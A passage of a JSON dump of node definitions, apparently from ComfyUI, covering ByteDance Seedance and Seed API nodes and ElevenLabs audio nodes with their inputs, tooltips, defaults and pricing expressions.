{"reference_audio": ["AUDIO", {}]}}, "names": ["audio_1", "audio_2", "audio_3"], "min": 0}}], "reference_assets": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_asset": ["STRING", {"forceInput": true, "multiline": false}]}}, "names": ["asset_1", "asset_2", "asset_3", "asset_4", "asset_5", "asset_6", "asset_7", "asset_8", "asset_9"], "min": 0}}]}, "optional": {"auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale reference videos that exceed the model's pixel budget for the selected resolution. Aspect ratio is preserved; videos already within limits are untouched.", "default": true}], "auto_upscale": ["BOOLEAN", {"tooltip": "Automatically upscale reference videos that are below the model's minimum pixel count for the selected resolution. Aspect ratio is preserved; videos already meeting the minimum are untouched. Note: upscaling a low-resolution source does not add real detail and may produce lower-quality generations.", "advanced": true, "default": false}]}}}, {"key": "Seedance 2.0 Fast", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "adaptive", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9"], "min": 0}}], "reference_videos": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3"], "min": 0}}], "reference_audios": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_audio": ["AUDIO", {}]}}, "names": ["audio_1", "audio_2", "audio_3"], "min": 0}}], "reference_assets": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_asset": ["STRING", {"forceInput": true, "multiline": false}]}}, "names": ["asset_1", "asset_2", "asset_3", "asset_4", "asset_5", "asset_6", "asset_7", "asset_8", "asset_9"], "min": 0}}]}, "optional": {"auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale reference videos that exceed the model's pixel budget for the selected resolution. Aspect ratio is preserved; videos already within limits are untouched.", "default": true}], "auto_upscale": ["BOOLEAN", {"tooltip": "Automatically upscale reference videos that are below the model's minimum pixel count for the selected resolution. Aspect ratio is preserved; videos already meeting the minimum are untouched. Note: upscaling a low-resolution source does not add real detail and may produce lower-quality generations.", "advanced": true, "default": false}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add a watermark to the video.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDance2ReferenceNode", "display_name": "ByteDance Seedance 2.0 Reference to Video", "description": "Generate, edit, or extend video using Seedance 2.0 with reference images, videos, and audio. Supports multimodal reference, video editing, and video extension.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": ["model.reference_videos"]}, "expr": "\n (\n $rate480 := 10044;\n $rate720 := 21600;\n $rate1080 := 48800;\n $rate4k := 195200;\n $m := widgets.model;\n $hasVideo := $lookup(inputGroups, \"model.reference_videos\") > 0;\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $noVideoPricePer1K := $res = \"4k\" ? 0.00572 :\n $res = \"1080p\" ? 0.011011 :\n $contains($m, \"fast\") ? 0.008008 : 0.01001;\n $videoPricePer1K := $res = \"4k\" ? 0.003432 :\n $res = \"1080p\" ? 0.006721 :\n $contains($m, \"fast\") ? 0.004719 : 0.006149;\n $rate := $res = \"4k\" ? $rate4k :\n $res = \"1080p\" ? $rate1080 :\n $res = \"720p\" ? $rate720 :\n $rate480;\n $noVideoCost := $dur * $rate * $noVideoPricePer1K / 1000;\n $minVideoFactor := $ceil($dur * 5 / 3);\n $minVideoCost := $minVideoFactor * $rate * $videoPricePer1K / 1000;\n $maxVideoCost := (15 + $dur) * $rate * $videoPricePer1K / 1000;\n $hasVideo\n ? {\n \"type\": \"range_usd\",\n \"min_usd\": $minVideoCost,\n \"max_usd\": $maxVideoCost,\n \"format\": {\"approximate\": true}\n }\n : {\n \"type\": \"usd\",\n \"usd\": $noVideoCost,\n \"format\": {\"approximate\": true}\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceCreateImageAsset": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Image to register as a personal asset."}], "group_id": ["STRING", {"tooltip": "Reuse an existing Seedance asset group ID to skip repeated human verification for the same person. Leave empty to run real-person authentication in the browser and create a new group.", "default": "", "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["image", "group_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id"]}, "is_input_list": false, "output": ["STRING", "STRING"], "output_is_list": [false, false], "output_name": ["asset_id", "group_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ByteDanceCreateImageAsset", "display_name": "ByteDance Create Image Asset", "description": "Create a Seedance 2.0 personal image asset. Uploads the input image and registers it in the given asset group. If group_id is empty, runs a real-person H5 authentication flow to create a new group before adding the asset.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/image/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceCreateVideoAsset": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Video to register as a personal asset."}], "group_id": ["STRING", {"tooltip": "Reuse an existing Seedance asset group ID to skip repeated human verification for the same person. Leave empty to run real-person authentication in the browser and create a new group.", "default": "", "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["video", "group_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id"]}, "is_input_list": false, "output": ["STRING", "STRING"], "output_is_list": [false, false], "output_name": ["asset_id", "group_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ByteDanceCreateVideoAsset", "display_name": "ByteDance Create Video Asset", "description": "Create a Seedance 2.0 personal video asset. Uploads the input video and registers it in the given asset group. If group_id is empty, runs a real-person H5 authentication flow to create a new group before adding the asset.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceSeedNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text input to the model.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The Seed model used to generate the response.", "options": [{"key": "Seed 2.0 Pro", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 20 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video(s) to use as context for the model. Up to 4 videos.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, higher values are more random.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}]}}}, {"key": "Seed 2.0 Lite", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 20 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video(s) to use as context for the model. Up to 4 videos.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, higher values are more random.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}]}}}, {"key": "Seed 2.0 Mini", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 20 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video(s) to use as context for the model. Up to 4 videos.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, higher values are more random.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate the model's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceSeedNode", "display_name": "ByteDance Seed", "description": "Generate text responses with ByteDance's Seed 2.0 models. Provide a text prompt and optionally one or more images or videos for multimodal context.", "python_module": "comfy_api_nodes.nodes_bytedance_llm", "category": "partner/text/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00025, 0.0009],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"lite\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0003, 0.002],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"pro\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0005, 0.003],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : {\"type\":\"text\", \"text\":\"Token-based\"}\n )\n "}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "ElevenLabsSpeechToText": {"input": {"required": {"audio": ["AUDIO", {"tooltip": "Audio to transcribe."}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for transcription.", "options": [{"key": "scribe_v2", "inputs": {"required": {"tag_audio_events": ["BOOLEAN", {"tooltip": "Annotate sounds like (laughter), (music), etc. in transcript.", "default": false}], "diarize": ["BOOLEAN", {"tooltip": "Annotate which speaker is talking.", "default": false}], "diarization_threshold": ["FLOAT", {"tooltip": "Speaker separation sensitivity. Lower values are more sensitive to speaker changes.", "default": 0.22, "min": 0.1, "max": 0.4, "step": 0.01, "display": "slider"}], "temperature": ["FLOAT", {"tooltip": "Randomness control. 0.0 uses model default. Higher values increase randomness.", "default": 0.0, "min": 0.0, "max": 2.0, "step": 0.01, "display": "slider"}], "timestamps_granularity": ["COMBO", {"tooltip": "Timing precision for transcript words.", "default": "word", "multiselect": false, "options": ["word", "character", "none"]}]}}}]}], "language_code": ["STRING", {"tooltip": "ISO-639-1 or ISO-639-3 language code (e.g., 'en', 'es', 'fra'). Leave empty for automatic detection.", "default": "", "multiline": false}], "num_speakers": ["INT", {"tooltip": "Maximum number of speakers to predict. Set to 0 for automatic detection.", "default": 0, "min": 0, "max": 32, "display": "slider"}], "seed": ["INT", {"tooltip": "Seed for reproducibility (determinism not guaranteed).", "default": 1, "min": 0, "max": 2147483647}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["audio", "model", "language_code", "num_speakers", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["text", "language_code", "words_json"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "ElevenLabsSpeechToText", "display_name": "ElevenLabs Speech to Text", "description": "Transcribe audio to text. Supports automatic language detection, speaker diarization, and audio event tagging.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0073,\"format\":{\"approximate\":true,\"suffix\":\"/minute\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsVoiceSelector": {"input": {"required": {"voice": ["COMBO", {"tooltip": "Choose a voice from the predefined ElevenLabs voices.", "multiselect": false, "options": ["Roger (male, american)", "Sarah (female, american)", "Laura (female, american)", "Charlie (male, australian)", "George (male, british)", "Callum (male, american)", "River (neutral, american)", "Harry (male, american)", "Liam (male, american)", "Alice (female, british)", "Matilda (female, american)", "Will (male, american)", "Jessica (female, american)", "Eric (male, american)", "Bella (female, american)", "Chris (male, american)", "Brian (male, american)", "Daniel (male, british)", "Lily (female, british)", "Adam (male, american)", "Bill (male, american)"]}]}}, "input_order": {"required": ["voice"]}, "is_input_list": false, "output": ["ELEVENLABS_VOICE"], "output_is_list": [false], "output_name": ["voice"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsVoiceSelector", "display_name": "ElevenLabs Voice Selector", "description": "Select a predefined ElevenLabs voice for text-to-speech generation.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsTextToSpeech": {"input": {"required": {"voice": ["ELEVENLABS_VOICE", {"tooltip": "Voice to use for speech synthesis. Connect from Voice Selector or Instant Voice Clone."}], "text": ["STRING", {"tooltip": "The text to convert to speech.", "default": "", "multiline": true}], "stability": ["FLOAT", {"tooltip": "Voice stability. Lower values give broader emotional range, higher values produce more consistent but potentially monotonous speech.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "apply_text_normalization": ["COMBO", {"tooltip": "Text normalization mode. 'auto' lets the system decide, 'on' always applies normalization, 'off' skips it.", "multiselect": false, "options": ["auto", "on", "off"]}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for text-to-speech.", "options": [{"key": "eleven_multilingual_v2", "inputs": {"required": {"speed": ["FLOAT", {"tooltip": "Speech speed. 1.0 is normal, <1.0 slower, >1.0 faster.", "default": 1.0, "min": 0.7, "max": 1.3, "step": 0.01, "display": "slider"}], "similarity_boost": ["FLOAT", {"tooltip": "Similarity boost. Higher values make the voice more similar to the original.", "default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "use_speaker_boost": ["BOOLEAN", {"tooltip": "Boost similarity to the original speaker voice.", "default": false}], "style": ["FLOAT", {"tooltip": "Style exaggeration. Higher values increase stylistic expression but may reduce stability.", "default": 0.0, "min": 0.0, "max": 0.2, "step": 0.01, "display": "slider"}]}}}, {"key": "eleven_v3", "inputs": {"required": {"speed": ["FLOAT", {"tooltip": "Speech speed. 1.0 is normal, <1.0 slower, >1.0 faster.", "default": 1.0, "min": 0.7, "max": 1.3, "step": 0.01, "display": "slider"}], "similarity_boost": ["FLOAT", {"tooltip": "Similarity boost. Higher values make the voice more similar to the original.", "default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}]}}}]}], "language_code": ["STRING", {"tooltip": "ISO-639-1 or ISO-639-3 language code (e.g., 'en', 'es', 'fra'). Leave empty for automatic detection.", "default": "", "multiline": false}], "seed": ["INT", {"tooltip": "Seed for reproducibility (determinism not guaranteed).", "default": 1, "min": 0, "max": 2147483647}], "output_format": ["COMBO", {"tooltip": "Audio output format.", "multiselect": false, "options": ["mp3_44100_192", "opus_48000_192"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["voice", "text", "stability", "apply_text_normalization", "model", "language_code", "seed", "output_format"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsTextToSpeech", "display_name": "ElevenLabs Text to Speech", "description": "Convert text to speech.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.24,\"format\":{\"approximate\":true,\"suffix\":\"/1K chars\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsAudioIsolation": {"input": {"required": {"audio": ["AUDIO", {"tooltip": "Audio to process for background noise removal."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsAudioIsolation", "display_name": "ElevenLabs Voice Isolation", "description": "Remove background noise from audio, isolating vocals or speech.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.24,\"format\":{\"approximate\":true,\"suffix\":\"/minute\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsTextToSoundEffects": {"input": {"required": {"text": ["STRING", {"tooltip": "Text description of the sound effect to generate.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for sound effect generation.", "options": [{"key": "eleven_sfx_v2", "inputs": {"required": {"duration": ["FLOAT", {"tooltip": "Duration of generated sound in seconds.", "default": 5.0, "min": 0.5, "max": 30.0, "step": 0.1, "display": "slider"}], "loop": ["BOOLEAN", {"tooltip": "Create a smoothly looping sound effect.", "default": false}], "prompt_influence": ["FLOAT", {"tooltip": "How closely generation follows the prompt. Higher values make the sound follow the text more closely.", "default": 0.3, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}]}}}]}], "output_format": ["COMBO", {"tooltip": "Audio output format.", "multiselect": false, "options": ["mp3_44100_192", "opus_48000_192"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["text", "model", "output_format"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsTextToSoundEffects", "display_name": "ElevenLabs Text to Sound Effects", "description": "Generate sound effects from text descriptions.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.14,\"format\":{\"approximate\":true,\"suffix\":\"/minute\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsInstantVoiceClone": {"input": {"required": {"files": ["COMFY_AUTOGROW_V3", {"tooltip": "Audio recordings for voice cloning.", "template": {"input": {"required": {"audio": ["AUDIO", {}]}}, "prefix": "audio", "min": 1, "max": 8}}], "remove_background_noise": ["BOOLEAN", {"tooltip": "Remove background noise from voice samples using audio isolation.", "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["files", "remove_background_noise"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["ELEVENLABS_VOICE"], "output_is_list": [false], "output_name": ["voice"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsInstantVoiceClone", "display_name": "ElevenLabs Instant Voice Clone", "description": "Create a cloned voice from audio samples. Provide 1-8 audio recordings of the voice to clone.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.15}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsSpeechToSpeech": {"input": {"required": {"voice": ["ELEVENLABS_VOICE", {"tooltip": "Target voice for the transformation. Connect from Voice Selector or Instant Voice Clone."}], "audio": ["AUDIO", {"tooltip": "Source audio to transform."}], "stability": ["FLOAT", {"tooltip": "Voice stability. Lower values give broader emotional range, higher values produce more consistent but potentially monotonous speech.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for speech-to-speech transformation.", "options": [{"key": "eleven_multilingual_sts_v2", "inputs": {"required": {"speed": ["FLOAT", {"tooltip": "Speech speed. 1.0 is normal, <1.0 slower, >1.0 faster.", "default": 1.0, "min": 0.7, "max": 1.3, "step": 0.01, "display": "slider"}], "similarity_boost": ["FLOAT", {"tooltip": "Similarity boost. Higher values make the voice more similar to the original.", "default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "use_speaker_boost": ["BOOLEAN", {"tooltip": "Boost similarity to the original speaker voice.", "default": false}], "style": ["FLOAT", {"tooltip": "Style exaggeration. Higher values increase stylistic expression but may reduce stability.", "default": 0.0, "min": 0.0, "max": 0.2, "step": 0.01, "display": "slider"}]}}}, {"key": "eleven_english_sts_v2", "inputs": {"required": {"speed": ["FLOAT", {"tooltip": "Speech speed. 1.0 is normal, <1.0 slower, >1.0 faster.", "default": 1.0, "min": 0.7, "max": 1.3, "step": 0.01, "display": "slider"}], "similarity_boost": ["FLOAT", {"tooltip": "Similarity boost. Higher values make the voice more similar to the original.", "default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "use_speaker_boost": ["BOOLEAN", {"tooltip": "Boost similarity to the original speaker voice.", "default": false}], "style": ["FLOAT", {"tooltip": "Style exaggeration. Higher values increase stylistic expression but may reduce stability.", "default": 0.0, "min": 0.0, "max": 0.2, "step": 0.01, "display": "slider"}]}}}]}], "output_format": ["COMBO", {"tooltip": "Audio output format.", "multiselect": false, "options": ["mp3_44100_192", "opus_48000_192"]}], "seed": ["INT", {"tooltip": "Seed for reproducibility.", "default": 0, "min": 0, "max": 4294967295}], "remove_background_noise": ["BOOLEAN", {"tooltip": "Remove background noise from input audio using audio isolation.", "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["voice", "audio", "stability", "model", "output_format", "seed", "remove_background_noise"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsSpeechToSpeech", "display_name": "ElevenLabs Speech to Speech", "description": "Transform speech from one voice to another while preserving the original content and emotion.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.24,\"format\":{\"approximate\":true,\"suffix\":\"/minute\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsTextToDialogue": {"input": {"required": {"stability": ["FLOAT", {"tooltip": "Voice stability. Lower values give broader emotional range, higher values produce more consistent but potentially monotonous speech.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.5, "display": "slider"}], "apply_text_normalization": ["COMBO", {"tooltip": "Text normalization mode. 'auto' lets the system decide, 'on' always applies normalization, 'off' skips it.", "multiselect": false, "options": ["auto", "on", "off"]}], "model": ["COMBO", {"tooltip": "Model to use for dialogue generation.", "multiselect": false, "options": ["eleven_v3"]}], "inputs": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Number of dialogue entries.", "options": [{"key": "1", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "2", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "3", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", 